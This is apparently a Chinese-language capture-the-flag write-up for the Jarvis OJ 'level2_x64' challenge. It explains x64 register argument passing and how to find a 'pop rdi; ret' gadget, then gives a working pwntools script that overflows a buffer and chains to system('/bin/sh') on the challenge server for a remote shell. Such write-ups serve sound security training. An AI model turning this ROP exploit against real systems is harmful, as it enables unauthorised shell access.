level2_x64和level2大體上都一樣,唯一的區(qū)別就是一個(gè)是64位的,一個(gè)是32位的,在做這題之前我們需要了解一點(diǎn)x86和x64的相關(guān)知識(shí)。
x86的參數(shù)都保存在棧上面,但是x64中有些不同,x64的前6個(gè)參數(shù)依次保存在RDI、RSI、RDX、RCX、R8和R9之中,如果還有更多的參數(shù)的話參會(huì)保存在棧上
level2_x64也是開啟了NX的,所以我們沒有辦法直接插入shellcode,但是程序之中一樣調(diào)用了system函數(shù),還有參數(shù)binsh,所以我們可以通過hijack方法直接跳轉(zhuǎn)到system函數(shù)之中。
image.png
image.png
我們剛剛也知道了x64位的參數(shù)是先保存在六個(gè)特殊的寄存器之中,之后才存放在棧中,所以如果我們要將參數(shù)binsh傳給system,我們必須要構(gòu)建一個(gè)簡(jiǎn)單的gadget,在這個(gè)gadget之中調(diào)用了寄存器RDI。
ROPgadget --binary level2_x64 --only "pop|rdi|ret"
image.png
最后我們便可以進(jìn)行攻擊了
from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib32/libc.so.6')
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
p = process('./level2_x64')
else:
p = remote('pwn2.jarvisoj.com',9882)
system = 0x04004C0
binsh = 0x0600A90
popret = 0x00000000004006b3
p.recvuntil("Input:\n")
payload = 'a'*(0x80+8) +p64(popret) + p64(binsh)+ p64(system)
p.sendline(payload)
p.interactive()